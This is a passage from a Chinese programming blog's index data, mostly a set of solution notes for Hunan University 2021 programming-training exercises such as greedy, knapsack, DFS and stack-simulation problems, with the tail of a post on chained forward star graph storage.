数组和上面的比较相似：\nIndex01234567to24545345 链式前向星to数组\n可以看到并没有按起点进行排序，其中的奇妙之处在于next数组。\nnext 数组 next 数组长度为边数，下标对应边的编号，值的含义是在to数组中下一条起点相同的边的编号，-1代表这条边已经是最后一条同起点的边了（如果边的下标从1开始，也可以为0）。依靠这个数组，可以实现to数组中同起点边的从前向后跳转。\n上图的 next 数组如下：\nIndex01234567next2567-1-1-1-1 同一起点的边均已标上相同的颜色，方便查找。\n例如，从0找起点同为x的边（这里我们还不知道x是多少，也不能确定是不是第一个值）：\n在 to[0] 找到 (x,2)，下一个下标是2； 在 to[2] 找到 (x,5)，下一个下标是6； 在 to[6] 找到 (x,4)，下一个下标是 - 1，代表已经没有同起点的边了。 当然，后来查图可以发现这是起点为0的三条边。\nhead 数组 这里的head数组和之前那个基本完全一样，只不过它代表的是一个链的开始，而不是像前向星一样，一个区间的开始。同时由于链式前向星的无序性，它所构建的head数组和前向星并不太一样。\n上图的head数组如下：\nIndex01234head031-14 head数组\n由于没有 len 的限制，只能从一条链上走下去，没有当作起点的结点当然就不能给予一个正常的head。\n图解 图解如下：\n上图用不同的颜色区分了不同的起点，下方表格之下的曲线代表了利用next数组的跳转过程，最终结果与输入完全相同。\n实际使用中，如果需要带权图，只需要再新建一个weight数组即可。\n参考文献\n秘技 · 反复横跳！在下 链式前向星 - 知乎 (zhihu.com) 链式前向星 - 避风港 (kindkidll.com) 图的存储 - OI Wiki (oi-wiki.org) ","date":"July 26, 2021","matchCount":0,"permalink":"/post/chain-forward-star/","preview":"","title":"链式前向星：一种图的存储方式"},{"content":"所有代码均已上传至 homework/CSP-Training at master · cyp0633/homework (github.com)。不保证代码均正确，正确的也不保证为最优解，可以查看Commit详情进一步了解。\n1. 部分A+B 个人难度评级：1\n问题描述 正整数A的 “DA（为1位整数）部分” 定义为由A中所有DA组成的新整数PA。例如：给定A = 3862767，DA = 6，则A的“6部分”PA是66，因为A中有2个6；给定A = 3862767，DA = 1，则A的“1部分”PA是0，因为A中有0个1。\n现给定A、DA、B、DB，请编写程序计算PA + PB。\n输入形式 输入在一行中依次给出A、DA、B、DB，中间以空格分隔，其中0 \u0026lt; A, B \u0026lt; 1010。\n输出形式 在一行中输出PA + PB的值。\n样例输入 复制代码 3862767 6 13530293 33862767 6 13530293 3 样例输出 复制代码 399399 解题思路 这个题都不会的话建议去面壁…… 没开long long导致WA掉的话情有可原。\n2. 导弹拦截系统 来源：NOIP 1999普及组不知道第几题（洛谷 P1020）（有改动）\n个人难度评级：3\n问题描述 某国为了防御敌国的导弹袭击，开发出一种导弹拦截系统。但是这种导弹拦截系统有一个缺陷：虽然它的第一发炮弹能够到达任意的高度，但是以后每一发炮弹都不能高于前一发的高度。某天，雷达捕捉到敌国的导弹来袭，并观测到导弹依次飞来的高度，请计算这套系统最多能拦截多少导弹。拦截来袭导弹时，必须按来袭导弹袭击的时间顺序，不允许先拦截后面的导弹，再拦截前面的导弹。 输入形式 每组输入有两行，\n第一行，输入雷达捕捉到的敌国导弹的数量k（k\u0026lt;=25），\n第二行，输入k个正整数，表示k枚导弹的高度，按来袭导弹的袭击时间顺序给出，以空格分隔。\n输出形式 每组输出只有一行，包含一个整数，表示最多能拦截多少枚导弹。\n样例输入 复制代码 8 300 207 155 300 299 170 158 658 300 207 155 300 299 170 158 65 样例输出 复制代码 66 解题思路 贪心就完事了，建议去翻洛谷的题解，那个更难，但估计讲得比我明白。\n本题数据很弱，开O(n2) 的算法完全能过。\n3. 魔咒词典 来源：HDU 1880（无法访问可移步 Vjudge）\n个人难度评级：2\n问题描述 哈利波特在魔法学校的必修课之一就是学习魔咒。据说魔法世界有100000种不同的魔咒，哈利很难全部记住，但是为了对抗强敌，他必须在危急时刻能够调用任何一个需要的魔咒，所以他需要你的帮助。\n给你一部魔咒词典。当哈利听到一个魔咒时，你的程序必须告诉他那个魔咒的功能；当哈利需要某个功能但不知道该用什么魔咒时，你的程序要替他找到相应的魔咒。如果他要的魔咒不在词典中，就输出 “what?”\n输入形式 首先列出词典中不超过100000条不同的魔咒词条，每条格式为：\n[魔咒 ] 对应功能\n其中 “魔咒” 和“对应功能”分别为长度不超过20和80的字符串，字符串中保证不包含字符 “[” 和“]”，且 “]” 和后面的字符串之间有且仅有一个空格。词典最后一行以 “@END@” 结束，这一行不属于词典中的词条。\n词典之后的一行包含非负整数N（0=\u0026lt;N\u0026lt;=1000），随后是N个测试用例。每个测试用例占一行，或者给出 “[魔咒 ]”，或者给出 “对应功能”。\n输出形式 每个测试用例的输出占一行，输出魔咒对应的功能，或者功能对应的魔咒。如果魔咒不在词典中，就输出 “what?”\n【样例输入】\n复制代码 [expelliarmus] the disarming charm [rictusempra] send a jet of silver light to hit the enemy [tarantallegra] control the movement of one\u0026#39;s legs [serpensortia] shoot a snake out of the end of one\u0026#39;s wand [lumos] light the wand [obliviate] the memory charm [expecto patronum] send a Patronus to the dementors [accio] the summoning charm @END@ 4 [lumos] the summoning charm [arha] take me to the sky[expelliarmus] the disarming charm [rictusempra] send a jet of silver light to hit the enemy [tarantallegra] control the movement of one\u0026#39;s legs [serpensortia] shoot a snake out of the end of one\u0026#39;s wand [lumos] light the wand [obliviate] the memory charm [expecto patronum] send a Patronus to the dementors [accio] the summoning charm @END@ 4 [lumos] the summoning charm [arha] take me to the sky 样例输出 复制代码 light the wand accio what? what?light the wand accio what? what? 解题思路 咒语和效果都不一定只有一个词，所以需要使用getline一次读一行，然后再根据 ] 的位置分割（substr大法好）。别的应该没什么难的。\n4. 打牌 个人难度评级：2\n问题描述 牌只有1到9，手里拿着已经排好序的牌a，对方出牌b，用程序判断手中牌是否能够压过对方出牌。 规则：出牌牌型有5种 [1] 一张 如4则5…9可压过 [2] 两张 如44则55，66，77，…，99可压过 [3] 三张 如444规则如 [2] [4] 四张 如4444规则如 [2] [5] 五张 牌型只有12345 23456 34567 45678 56789五个，后面的比前面的均大。\n输入形式 输入有多行，第一行代表手中的牌，长度不超过200个数字。接下来的每一行代表每次对方出的牌。\n输出形式 输出有多行，代表手中的牌是否能压过对方出的牌，压过输出YES， 并列出所有可选项，可选项之间用空格分隔。 否则输出NO。\n样例输入 复制代码 17624234556367 33 222 3456717624234556367 33 222 34567 样例输出 复制代码 YES 44 55 66 77 YES 666 NOYES 44 55 66 77 YES 666 NO 解题思路 题意似乎没说牌放不放回…… 不过没说过出牌规则，应该是出牌后放回手牌的。\n直接模拟即可，分几张牌的情况。五张牌情况不多，而且取起来也麻烦，建议直接对每种情况做特判。\n（WA了一半多，不确定做法是否正确）\n5. 最大报销额 来源：HDU 1864（无法访问可移步 Vjudge）\n个人难度评级：3\n问题描述 现有一笔经费可以报销一定额度的发票。允许报销的发票类型包括买图书（A类）、文具（B类）、差旅（C类），要求每张发票的总额不得超过1000元，每张发票上，单项物品的价值不得超过600元。现请你编写程序，在给出的一堆发票中找出可以报销的、不超过给定额度的最大报销额。\n输入形式 测试输入包含若干测试用例。每个测试用例的第1行包含两个正数Q和N，其中Q是给定的报销额度，N（N\u0026lt;=30）是发票张数。随后是N行输入，每行的格式为：\nm Type_1:price_1 Type_2:price_2 … Type_m:price_m\n其中正整数m是这张发票上所开物品的件数，Type_i和price_i是第i项物品的种类和价值。物品种类用一个大写英文字母表示。当N为0时，全部输入结束，相应的结果不要输出。\n输出形式 对每个测试用例输出1行，即可以报销的最大数额，精确到小数点后2位。\n样例输入 复制代码 200.00 32 A:23.50 B:100.001 C:650.003 A:59.99 A:120.00 X:10.001200.00 22 B:600.00 A:400.001 C:200.501200.50 32 B:600.00 A:400.001 C:200.501 A:100.00100.00 0200.00 32 A:23.50 B:100.001 C:650.003 A:59.99 A:120.00 X:10.001200.00 22 B:600.00 A:400.001 C:200.501200.50 32 B:600.00 A:400.001 C:200.501 A:100.00100.00 0 样例输出 复制代码 123.501000.001200.50123.501000.001200.50 解题思路 第一个困难其实是阅读理解。很容易能看出来这题是一个01背包问题，但背包里装的是什么呢？其实是发票。将发票各物品的 ** 总价值 ** 作为 ** 整一件 ** 物品的价值，而对于每组数据，有多张发票，那就是求如何取 ** 整张 ** 发票，能够让报销额尽可能接近报销上限而不超过。所以，只需要存储每张发票的总金额就可以了。\n第二个困难是允许报销类型限制、每件物品金额限制和发票总金额限制。因为报销只能整张一起报，所以出现任何一个上述的例外情况，** 整张发票作废 **（可将金额存储为0）。\n第三个困难是如何写DP。相信很多人已经背熟01背包了，但对于没背熟的人来说，这也许不算什么困难，毕竟当看到N\u0026lt;=30的时候，我相信你和我是一样的反应：直接暴力搜，管那么多干什么？确实，数据范围太菜，直接搜确实没问题。\n第四个困难是初始化变量。老生常谈了，有多组数据的题要记得初始化。\n6. 带通配符的数 个人难度评级：2\n问题描述 给定一个可以带通配符问号的正整数W，问号可以代表任意一个一位数字。再给定一个正整数X，和W具有同样的长度。问有多少个整数符合W的形式并且比X大？\n输入形式 多组数据，每组数据两行，第一行是W，第二行是X，它们长度相同，在 [1..10] 之间。\n输出形式 每行一个整数表示结果。\n样例输入 复制代码 36?1?82364288?3910?536?1?82364288?3910?5 样例输出 复制代码 1000410004 解题思路 通配符的数量不确定，那就dfs啊。\n7. 愚人节的礼物 个人难度评级：1\n问题描述 四月一日快到了，Vayko想了个愚人的好办法——送礼物。嘿嘿，不要想的太好，这礼物可没那么简单，Vayko为了愚人，准备了一堆盒子，其中只有一个盒子里面装了礼物。盒子里面可以再放零个或者多个盒子。假设放礼物的盒子里不再放其他盒子。用 () 表示一个盒子，B表示礼物，Vayko想让你帮她算出愚人指数，即最少需要拆多少个盒子才能拿到礼物。\n输入形式 本题目包含多组测试，请处理到文件结束。每组测试包含一个长度不大于1000, 只包含 \u0026lsquo;(\u0026rsquo;,\u0026rsquo;)\u0026rsquo; 和\u0026rsquo;B\u0026rsquo; 三种字符的字符串，代表Vayko设计的礼物透视图。你可以假设，每个透视图画的都是合法的。\n输出形式 对于每组测试，请在一行里面输出愚人指数。\n样例输入 复制代码 ((((B)()))()) (B)((((B)()))()) (B) 样例输出 复制代码 4 14 1 解题思路 可别把它当括号匹配做啊，题目给出的括号串是完全合法的，不需要检验合法性，甚至用不到STL stack，只需要一个整型模拟栈的元素数量，统计左括号数量就行了。\n8. ab串 个人难度评级：3\n问题描述 给定一个由字符\u0026rsquo;a\u0026rsquo; 和字符\u0026rsquo;b\u0026rsquo; 组成的字符串，可以删除若干字符，使得剩下来的字符串满足前后段为a，中间段为b（aaa\u0026hellip;.aaabbbb\u0026hellip;..bbbbaaa\u0026hellip;..aaa）, 区段可以没有字符（ba,ab,b,aa都是合法的），求最长剩下字符串的长度。\n输入形式 输入为一行一个长度不超过5000的非空字符串，字符串仅由字符\u0026rsquo;a\u0026rsquo; 和字符\u0026rsquo;b\u0026rsquo; 组成。\n输出形式 输出为一个整数，表示符合要求的最长剩下字符串长度\n样例输入1 复制代码 abbaabba 样例输出1 复制代码 44 样例输入2 复制代码 babbab 样例输出2 复制代码 22 解题思路 前缀和？什么是前缀和？影响我打暴搜吗？题目数据似乎很菜，分块不多，要不然真搜不完。\n将原字符串分割为内部完全由a/b组成的小块，用 pair\u0026lt;int,string\u0026gt; 存储，比如aabaa可以分割成长度为2的a块、长度为1的b块、长度为2的a块。这里可以使用string的find函数减少工作量。遇到b开头的串其实也不用慌，完全可以先统计a块，最终会在最前面形成一个长度为0的a块，并不影响做题。\n然后开始逐块进行深搜。将其化为三种阶段，前面的a串、中间的b串和后面的a串。具体的我再想想怎么讲，建议先去看看代码。大致上就是根据当前搜到a串还是b串来分，然后在此基础上再分1、2或3阶段分情况讨论。\n9. 占座位 个人难度评级：4\n问题描述 sun所在学校的教室座位每天都是可以预占的。\n一个人可以去占多个座位，而且一定是要连续的座位，如果占不到他所要求的这么多座位，那么他就一个座位也不要了。为了降低难度，每次分配座位按座位号从小到大查找，采用最先适配法分配座位。\n输入形式 输入有多组数据。\n每组数据输入座位排数n，0\u0026lt;n\u0026lt;=100（座位的排列数相等，座位是按每行从左到右依次排序的, 第1行的最右边一个座位与第二行的第一个座位视为连续座位），m（0\u0026lt;m\u0026lt;=min(100,n*n) ）个人。\n然后输入k（0\u0026lt;k\u0026lt;=100），最后输入k个命令。\n命令只有两种：\n1.in id num（代表id,0\u0026lt;=id\u0026lt;m, 要占num个座位，若占不到连续的num(0\u0026lt;num\u0026lt;=20) 个座位表示该命令无效）\n2.out id（代表id要释放他之前占的所有座位）\n注意：如果id之前占过座还没释放那么之后他的in命令都是无效的，\n如果id之前没占过座位那么他的out命令也是无效的。\n输出形式 对每个in命令输出yes或者no，如果命令有效则输出yes，无效则输出no。\n在yes no后面只带有回车，不带其他任何字符。\n样例输入 复制代码 4 10 9 in 1 7 in 2 3 in 3 3 in 3 3 in 4 3 out 2 in 5 6 out 3 in 5 64 10 9 in 1 7 in 2 3 in 3 3 in 3 3 in 4 3 out 2 in 5 6 out 3 in 5 6 样例输出 复制代码 yes yes yes no yes yes no yes yesyes yes yes no yes yes no yes yes 解题思路 这题几乎完全是 内存管理 一题的翻版…… 甚至还要简单些，因为阅读理解的困难变小了很多，并且没有碎片整理部分。\n座位好几排？没有关系，前一行最后一个和下一行第一个视为连续座位，那不就和内存空间差不多了嘛……\n顺便吐槽一下CG的样例，格式也太不标准了点。\n10. Maya历法 个人难度评级：2\n问题描述 在学术休假期间，M.A. Ya教授在古老的Maya历法上有一个惊人的发现。从一个古老的令人棘手的信息中，教授发现Maya文明以365天为一年，称为Haab，包含19个月。前18个月每月有20天，月份名字为：pop、no、zip、zotz、tzec、xul、yoxkin、mol、chen、yax、zac、ceh、mac、kankin、muan、pax、koyab、cumhu。每月的天数使用数字来表示，从0~19，而不是用名字。Haab的最后一个月叫做uayet，有5天，表示为0、1、2、3、4。玛雅人认为这个月是不吉利的，法院不开庭，贸易停止了，人们甚至停止清扫地板。\n出于宗教的目的，Maya人使用另外一套历法，叫做Tzolkin（冬青年）。一年被分为13个期间，每个期间20天。每天被表示为由数字和日期名表示的数对。使用20个名字：imix、ik、akbal、kan、chicchan、cimi、manik、lamat、muluk、ok、chuen、eb、ben、ix、mem、cib、caban、eznab、canac、ahau，以及13个数字，双循环使用。\n请注意，每一天都有一个明确的描述。例如，在年初的日子被描述如下：\n1 imix, 2 ik, 3 akbal, 4 kan, 5 chicchan, 6 cimi, 7 manik, 8 lamat, 9 muluk, 10 ok, 11 chuen, 12 eb, 13 ben, 1 ix, 2 mem, 3 cib, 4 caban, 5 eznab, 6 canac, 7 ahau, 在下一个期间开始为8 imix, 9 ik, 10 akbal . . .\n年份（包含Haab和Tzolkin) 用数字0、1、\u0026hellip; 来表示，数字0是世界的开始。因此，第一天表示为：\nHaab: 0. pop 0\nTzolkin: 1 imix 0\n请帮M.A.Ya教授写一个程序，将Haab日历转换为Tzolkin日历。 输入形式 在Haab中日期用以下形式表示：\nNumberOfTheDay. Month Year\n输入文件的第一行包含文件中输入日期的数目。接下来的n行包含Haab日历格式的n个日期，年份小于5000。\n输出形式 Tzolkin日期用一下格式：\nNumber NameOfTheDay Year\n输出包括n行，按照与输入日期对应的顺序，输出tzolkin日历格式日期。 样例输入 复制代码 310.zac 00.pop 010.zac 1995310.zac 00.pop 010.zac 1995 样例输出 复制代码 3 chuen 01 imix 09 cimi 28013 chuen 01 imix 09 cimi 2801 解题思路 阅读理解题，难度全在对两种历法的阅读理解上。如果觉得题目读不懂，可以阅读一下 玛雅历 - 维基百科，自由的百科全书 （需要魔法上网）。\n还读不懂？不妨这样：\n输入的历法叫Haab历，它一年有365天，其中包含19个月，前18个月每月20天，第19个月只有5天。这20个月用名字来表示，分别叫做pop、no、zip、zotz、tzec、xul、yoxkin、mol、chen、yax、zac、ceh、mac、kankin、muan、pax、koyab、cumhu。每个月的日期使用数字表示。\n需要输出的历法叫Tzolkin历。它并没有传统意义上的 “月” 和“日”，而是用20个 “日名” 和13个 “日数” 的组合来确定一年中唯一的日期，比较像中国的天干地支纪年法。日名和日数各自独立循环使用。天干地支纪年法60年一个循环，那么Tzolkin历就是260天一个循环，也就是一”年“。日名循环的每一天分别叫做imix、ik、akbal、kan、chicchan、cimi、manik、lamat、muluk、ok、chuen、eb、ben、ix、mem、cib、caban、eznab、canac、ahau，而日数循环则直接用1-13的自然数表示。\n顺便，注意 “0日” 和“13日”的转换。\n11. 数码管 个人难度评级：1\n问题描述 液晶数码管用七笔阿拉数字表示的十个数字，把横和竖的一 个短划都称为一笔，即７有３笔，８有７笔等。对于十个数字一种排列，要做到两相邻数字都可以由另一个数字加上几笔或减去几笔组成，但不能又加又减。比如 ７→３是允许的，７→２不允许。任意输入一组数，判断是否符合上述规则，注意，1在右边。\n输入形式 每行输入一个0~9的排列，数字之间用空格分隔，以 - 1作为输入结束\n输出形式 输出YES或NO\n样例输入 复制代码 4 1 0 7 3 9 5 6 8 2 3 5 1 6 2 7 9 0 4 8 -14 1 0 7 3 9 5 6 8 2 3 5 1 6 2 7 9 0 4 8 -1 样例输出 复制代码 YES NOYES NO 解题思路 打表神题，直接预先在纸上算出数字转换关系的邻接矩阵，用的时候直接读取即可。这个关系是对称的，也就是说a能转换为b则b也能转换为a。特别要注意打表的准确性，如果打错了那就完蛋了…… 建议打2遍。\n复制代码 bool isTransferrable[10][10] = {{1, 1, 0, 0, 0, 0, 0, 1, 1, 0}, {1, 1, 0, 1, 1, 0, 0, 1, 1, 1}, {0, 0, 1, 0, 0, 0, 0, 0, 1, 0}, {0, 1, 0, 1, 0, 0, 0, 1, 1, 1}, {0, 1, 0, 0, 1, 0, 0, 0, 1, 1}, {0, 0, 0, 0, 0, 1, 1, 0, 1, 1}, {0, 0, 0, 0, 0, 1, 1, 0, 1, 0}, {1, 1, 0, 1, 0, 0, 0, 1, 1, 1}, {1, 1, 1, 1, 1, 1, 1, 1, 1, 1}, {0, 1, 0, 1, 1, 1, 0, 1, 1, 1}};bool isTransferrable[10][10] = {{1, 1, 0, 0, 0, 0, 0, 1, 1, 0}, {1, 1, 0, 1, 1, 0, 0, 1, 1, 1}, {0, 0, 1, 0, 0, 0, 0, 0, 1, 0}, {0, 1, 0, 1, 0, 0, 0, 1, 1, 1}, {0, 1, 0, 0, 1, 0, 0, 0, 1, 1}, {0, 0, 0, 0, 0, 1, 1, 0, 1, 1}, {0, 0, 0, 0, 0, 1, 1, 0, 1, 0}, {1, 1, 0, 1, 0, 0, 0, 1, 1, 1}, {1, 1, 1, 1, 1, 1, 1, 1, 1, 1}, {0, 1, 0, 1, 1, 1, 0, 1, 1, 1}}; 可以使用stringstream承接一行一行的输入，然后逐个读取。\n12. 多项式加法 个人难度评级：2\n问题描述 一个多项式可以表示为一组数对，数对中第一个数始终为整数，且唯一，表示多项式的次数，另一数表示为对应的系数且不为0。输入两组数对，每组以0 0作为结束，实现对两个多项式的加法并按降幂输出结果数对\n输入形式 每行输入一个数对，以空格为分隔符，以0 0结束\n输出形式 每行输出一个数对，以空格为分隔符\n样例输入 复制代码 5 12 3 8 1 2 15 5 0 10 0 0 3 12 30 1 15 5 0 05 12 3 8 1 2 15 5 0 10 0 0 3 12 30 1 15 5 0 0 样例输出 复制代码 30 1 15 10 5 12 3 20 1 2 0 1030 1 15 10 5 12 3 20 1 2 0 10 解题思路 很容易想到使用数组来存放各个次数的系数，但次数只说了是整数，先不必说太大咋办，首先负系数就能把数组方案毙掉了（虽然还是能得大约60分）。这时候使用std::map就十分有必要了，不过这样的话要考虑相加之后系数为0的情况。\n正常考试的时候应该会有数据范围的，只要能看到，就一般能想到不能用数组存。\n13. 数字统计 个人难度评级：1\n问题描述 给定一个k位整数N = dk-1*10k-1 + \u0026hellip; + d1*101 + d0 (0\u0026lt;=di\u0026lt;=9, i=0,\u0026hellip;,k-1, dk-1\u0026gt;0)，请编写程序统计每种不同的个位数字出现的次数。例如：给定N = 100311，则有2个0，3个1，和1个3。\n输入形式 每个输入包含1个测试用例，即一个不超过1000位的正整数N。\n输出形式 对N中每一种不同的个位数字，以D:M的格式在一行中输出该位数字D及其在N中出现的次数M。要求按D的升序输出\n样例输入 复制代码 100311100311 样例输出 复制代码 0:2 1:3 3:10:2 1:3 3:1 解题思路 这个有啥好讲的啊……\n14. A除以B 个人难度评级：1\n问题描述 本题要求计算A/B，其中A是不超过1000位的整数（A\u0026gt;=0），B是1位正整数。你需要输出商数Q和余数R，使得A = B * Q + R成立。\n输入形式 输入在1行中依次给出A和B，中间以1空格分隔。\n输出形式 在1行中依次输出Q和R，中间以1空格分隔。\n样例输入 复制代码 123456789050987654321 7123456789050987654321 7 样例输出 复制代码 17636684150141093474 317636684150141093474 3 解题思路 挺简单一道题，就是高精除低精。但是要注意两点：\n去掉前导0； 不要把商为0当成前导0给去掉了（这个会卡测试数据3）。 15. 公交系统 个人难度评级：2\n问题描述 城市公交系统有一个记录仪，用于记录每个站点的乘客人数的变化情况，例如：x表示到站前公交车上的乘客人数，y表示离站时公交车上的乘客人数，则该记录仪记录的该站的数字为y-x。\n对于一辆公交车和n个车站，a1,a2,\u0026hellip;,an为该公交车在各站的记录数据。\n假定w为该公交车可容纳的最大乘客人数，编程求出在第一站停靠之前公交车上人数的可能数据有多少种？\n输入形式 第一行包含两个数据n和w(1\u0026lt;=n\u0026lt;=1000, 1\u0026lt;=w\u0026lt;=109)，分别表示车站的数目和公交车可容纳的最大乘客人数。\n第二行包含一个序列a1,a2,\u0026hellip;,an，表示记录仪记录的各站的数据。\n输出形式 输出一个整数，表示公交车在第一站停靠之前可能的乘客人数数据的个数，如果没有，则输出0。\n样例输入1 复制代码 3 5 2 1 -33 5 2 1 -3 样例输出1 复制代码 33 样例输入2 复制代码 2 4 -1 12 4 -1 1 样例输出2 复制代码 44 样例输入3 复制代码 4 10 2 4 1 24 10 2 4 1 2 样例输出3 复制代码 22 样例说明 在第一个样例中，乘客数可能有0、1、2，共3种情况\n在第二个样例中，乘客数可能有1、2、3、4，共4种情况\n在第三个样例中，乘客数可能为0或1，共2种情况\n解题思路 假定一开始车上有0个人，然后录入变动情况，记录车上的最大最小人数。\n如果最大人数超过额定载客量，或者最大人数和最小人数的差大于额定载客量，则输出0。\n在最小人数大于等于0的情况下，只需要满足最大人数 + 初始人数 \u0026lt;= 额定载客量即可；如果小于 0，则还需要满足最小人数 + 初始人数\u0026gt;=0。\n满足以上条件的初始人数情况数，即为结果。\n16. 成绩大派对 个人难度评级：1\n问题描述 读入n名学生的姓名、学号、成绩，分别输出成绩最高和成绩最低学生的姓名和学号。\n输入形式 每个测试输入包含1个测试用例，格式为\n第1行：正整数n 第2行：第1个学生的姓名 学号 成绩 第3行：第2个学生的姓名 学号 成绩 \u0026hellip; \u0026hellip; \u0026hellip; 第n+1行：第n个学生的姓名 学号 成绩\n其中姓名和学号均为不超过20个字符的字符串，成绩为0到100之间的一个整数，这里保证在一组测试用例中没有两个学生的成绩是相同的。\n输出形式 对每个测试用例输出2行，第1行是成绩最高学生的姓名和学号，第2行是成绩最低学生的姓名和学号，字符串间有1空格。\n样例输入 复制代码 3 Joe Math990112 89 Mike CS991301 100 Mary EE990830 953 Joe Math990112 89 Mike CS991301 100 Mary EE990830 95 样例输出 复制代码 Mike CS991301 Joe Math990112Mike CS991301 Joe Math990112 解题思路 分别维护姓名、学号和成绩的临时变量、最大值、最小值，边输入边更新即可。\n17. 字符串数字置换 个人难度评级：1\n问题描述 从键盘接收用户输入的字符串, 对用户输入的每个字符串的处理是：将字符串内的每一个十进制数字字符置换成下列表格中右边所对应的一个字符串（所有其他字符不变），然后将转换的结果显示在屏幕上；并分别计算每个数字的置换次数。\n十进制数字字符 置换成 0(Zero)1(One)2(Two)3(Three)4(Four)5(Five)6(Six)7(Seven)8(Eight)9(Nine) 例如，若用户输入的字符串为\nPage112-Line3，\n则程序5的输出是：\nPage(One) (One) (Two)-Line(Three),\n数字0到9的置换次数分别是 0 2 1 1 0 0 0 0 0 0\n输入形式 输入一行字符串，其中可包含字母、数字、空格或其他符号（英文）\n输出形式 第一行为将字符串中的数字转换为表格中的内容后输出\n第二行为数字0~9被转换的次数\n样例输入 复制代码 Page112-Line3Page112-Line3 样例输出 复制代码 Page(One)(One)(Two)-Line(Three) 0 2 1 1 0 0 0 0 0 0Page(One)(One)(Two)-Line(Three) 0 2 1 1 0 0 0 0 0 0 解题思路 没什么好讲的\n18. 写出来吧 个人难度评级：1\n问题描述 读入一个自然数n，计算其各位数字之和，用汉语拼音写出和的每一位数字。\n输入形式 每个测试输入包含1个测试用例，即给出自然数n的值。这里保证n小于10的100次方。\n输出形式 在一行内输出n的各位数字之和的每一位，拼音数字间有1空格，但一行中最后一个拼音数字后没有空格。\n样例输入 复制代码 12345678909876543211234567891234567890987654321123456789 样例输出 复制代码 yi san wuyi san wu 样例说明 友情提示汉语拼音\n0~9：ling yi er san si wu liu qi ba jiu shi\n解题思路 没什么好讲的，倒是这拼音提示挺侮辱智商的。\n19. 到底买不买 个人难度评级：1\n问题描述 小红想买些珠子做一串自己喜欢的珠串。卖珠子的摊主有很多串五颜六色的珠串，但是不肯把任何一串拆散了卖。于是小红要你帮忙判断一下，某串珠子里是否包含了全部自己想要的珠子？如果是，那么告诉她有多少多余的珠子；如果不是，那么告诉她缺了多少珠子。\n为方便起见，我们用 [0-9]、[a-z]、[A-Z] 范围内的字符来表示颜色。例如在图1中，第3串是小红想做的珠串；那么第1串可以买，因为包含了全部她想要的珠子，还多了8颗不需要的珠子；第2串不能买，因为没有黑色珠子，并且少了一颗红色的珠子。\n输入形式 每个输入包含1个测试用例。每个测试用例分别在2行中先后给出摊主的珠串和小红想做的珠串，两串都不超过1000个珠子。\n输出形式 如果可以买，则在一行中输出 “Yes” 以及有多少多余的珠子；如果不可以买，则在一行中输出 “No” 以及缺了多少珠子。其间以1个空格分隔。\n样例输入 复制代码 ppRYYGrrYBR2258YrR8RrYppRYYGrrYBR2258YrR8RrY 样例输出 复制代码 Yes 8Yes 8 解题思路 这是一个很好想很好写很好调但未必快的思路。\n我们都知道char本质上是用ASCII码存储的，那么统计某个字符串中某字符出现数量，可以直接加到对应ASCII码下标的数组值里面。\n遍历一遍待买的字符串和想要的字符串，分别加到两个数组里，然后分别统计少的和多的即可。\n注意数组要开大点，ASCII码范围是0-127，我们需要的最大是z即122。\n一个更好的方案是使用std::map来维护对应关系。\n20. 挖掘机技术哪家强 个人难度评级：1\n问题描述 为了用事实说明挖掘机技术到底哪家强，组织一场挖掘机技能大赛。现请你根据比赛结果统计出技术最强的那个学校。\n输入形式 输入在第1行给出不超过105的正整数N，即参赛人数。随后N行，每行给出一位参赛者的信息和成绩，包括其所代表的学校的编号、及其比赛成绩（百分制），中间以空格分隔。\n输出形式 在一行中给出总得分最高的学校的编号、及其总分，中间以空格分隔。题目保证答案唯一，没有并列。\n样例输入 复制代码 63 652 801 1002 703 403 063 652 801 1002 703 403 0 样例输出 复制代码 2 1502 150 问题说明 建议练习使用STL中的map\n解题思路 建议翻别人用map写的题解，我没用。毕竟总共105个学校，又不是不能用数组。\n21. Web导航 个人难度评级：1\n问题描述 标准的Web浏览器具有在最近访问的页面中前后移动的特性。实现这些特性的一种方法是使用两个堆栈来跟踪可以通过前后移动到达的页面。在这个问题中，我们要求实现这一点。\n需要支持以下命令：\nBACK：将当前页面压入前向堆栈的顶部；从后向堆栈的顶部弹出该页，使其成为新的当前页。如果后向堆栈为空，则该指令忽略。\nFORWARD：将当前页面压入后向堆栈的顶部；从前向堆栈的顶部弹出该页，使其成为新的当前页。如果前向堆栈为空，则该指令忽略。\nVISIT：将当前页面压入后向堆栈的顶部，将URL指定为新的当前页。前向堆栈被清空。\nQUIT：退出浏览器。\n假设浏览器最初在网址http://www.game.org / 上加载网页。\n输入形式 输入是一个命令序列。命令关键字BACK、FORWARD、VISIT和QUIT都是大写。URL中无空格，最多有70个字符。假定在任何时候，每个堆栈中没有问题实例需要超过100个元素。输入的结尾由QUIT命令标识。\n输出形式 除QUIT外的每个命令，如果命令没有被忽略，则在命令执行后输出当前页面的URL，否则，打印 \u0026ldquo;Ignored\u0026rdquo;。每个命令的输出独立打印一行。QUIT命令无输出。\n样例输入 复制代码 VISIT http://game.ashland.edu/VISIT http://game.baylor.edu/acmicpc/BACKBACKBACKFORWARDVISIT http://www.our.com/BACKBACKFORWARDFORWARDFORWARDQUITVISIT http://game.ashland.edu/VISIT http://game.baylor.edu/acmicpc/BACKBACKBACKFORWARDVISIT http://www.our.com/BACKBACKFORWARDFORWARDFORWARDQUIT 样例输出 复制代码 http://game.ashland.edu/ http://game.baylor.edu/acmicpc/ http://game.ashland.edu/ http://www.game.org/ Ignored http://game.ashland.edu/ http://www.our.com/ http://game.ashland.edu/ http://www.game.org/ http://game.ashland.edu/ http://www.our.com/ Ignoredhttp://game.ashland.edu/ http://game.baylor.edu/acmicpc/ http://game.ashland.edu/ http://www.game.org/ Ignored http://game.ashland.edu/ http://www.our.com/ http://game.ashland.edu/ http://www.game.org/ http://game.ashland.edu/ http://www.our.com/ Ignored 解题思路 直接照着题上的提示写就行了，没有特殊情况。\n","date":"July 12, 2021","matchCount":0,"permalink":"/post/hnu-csp-training-3/","preview":"","title":"湖南大学 2021 程序设计训练笔记 - 作业训练 3"},{"content":"所有代码均已上传至 我的 GitHub 及我的 Gitea。不保证代码均正确（如不正确会在Commit详情标出），正确的也不保证为最优解。\n1. Dijkstra? 来源：CF20C 数据已弱化\n个人难度评级：3\n问题描述 给定一个含权的无向图，顶点编号为 $1-n$，你的任务为找出顶点 $1$ 到顶点 $n$ 之间的最短路径。\n输入形式 输入的第一行为两个整数 $n$ 和 $m(2 \\le n \\le 10^5,0 \\le m \\le 10^5)$，其中 $n$ 为顶点数，$m$ 是边数。\n接下来的 $m$ 行包含用形式 $a_i$、$b_i$ 和 $w_i(1 \\le a_i, b_i 